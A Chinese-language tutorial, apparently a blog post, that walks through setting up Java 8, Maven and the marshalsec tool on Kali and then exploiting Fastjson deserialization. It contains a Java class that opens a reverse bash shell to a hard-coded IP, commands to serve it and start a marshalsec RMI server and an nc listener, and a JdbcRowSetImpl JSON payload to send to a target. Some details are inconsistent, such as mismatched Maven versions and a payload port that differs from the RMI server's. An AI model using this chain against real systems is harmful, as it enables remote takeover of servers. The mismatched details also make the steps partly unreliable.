文章目录
- [java 8下载](#java 8下载)
- 远程加载类工具
- 编译工具mvn
- 多版本共存
- 配置mvn
- 编译marshalsec
- 编译rce文件
- 利用marshalsec加载远程RCE类
java 8下载
链接:https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000
提取码:0000
远程加载类工具
https://github.com/mbechler/marshalsec.git
编译工具mvn
链接:https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000
提取码:0000
多版本共存
启动kail 将java8解压至/usr/local/java中方便管理
bash
mkdir /usr/local/java
tar -zxvf dk-8u202-linux-x64.tar.gz -C /usr/local/java
这里的参数意义如下:
-z 表示使用gzip进行解压缩。
-x 表示执行解压操作。
-v 代表在解压过程中显示详细的信息,可以看到正在解压的文件名。
-f 后面跟上需要解压的文件名,这里就是你的.tar.gz文件。
-C 解压到指定路径
改个名字
bash
cd /usr/local/java
mv jdk1.8.0_202 jdk1.8.0
解压好进行配置
在文件/etc/profile尾部添加变量
vim /etc/profile
点键盘i键进行编辑
bash
export JAVA_HOME=/usr/local/java/jdk1.8.0
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH
添加完成后点esc键输入wq进行保存
使用使配置文件生效
bash
source /etc/profile
生效之后使用命令完成jdk版本共存
bash
sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500
使用来切换版本
sudo update-alternatives --config java
这样就成功了
配置mvn
默认的Linux是没有编译命令的我们需要自己搭建
将Apache Maven解压到/opt目录下
/opt目录主要用于存放第三方应用程序或者非系统自带的软件包
bash
tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt
解压完成后进行配置系统变量编辑 /etc/profile
bash
vim /etc/profile
输入i将变量添加到末尾
bash
export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin
esc 输入wq保存
使用命令生效配置文件
bash
source /etc/profile
检查是否安装完成
bash
mvn -version
但是我改了之后不可以用不知道为什么
编译marshalsec
cd 到marshalsec文件夹进行编译
bash
mvn clean package -DskipTests
他会哗哗哗下一堆东西
这样就说明编译好了看一眼我们的jar包就打好了
编译rce文件
返回主目录新建一个文件夹为fastjson_payload的文件夹
bash
mkdir fastjson_payload
完成后创建java文件
bash
vim rce.java
进行编辑下面代码,记得修改bash shell的ip及nc开放的端口
java
import java.lang.Runtime;
import java.lang.Process;
public class Rce {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
创建好后进行编译
bash
javac Rce.java
如果提示没有javac进行一下命令安装重新编译
bash
apt install default-jdk
利用marshalsec加载远程RCE类
编译完成后
在此页面开启一个网页服务
bash
python -m http.server 8082
测试一下能否正常访问
可以看到能够正常访问到我们的class文件
好了接下来回到我们的marshalsec文件夹开启我们的rmi服务
bash
cd github/marshalsec-rmi
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003
意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件
新建窗口开启nc监听
bash
nc -lvvp 10002
完成之后根据对方的fastjson版本构造payload
例:
json
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}}
将payload上传至数据包即可反弹shell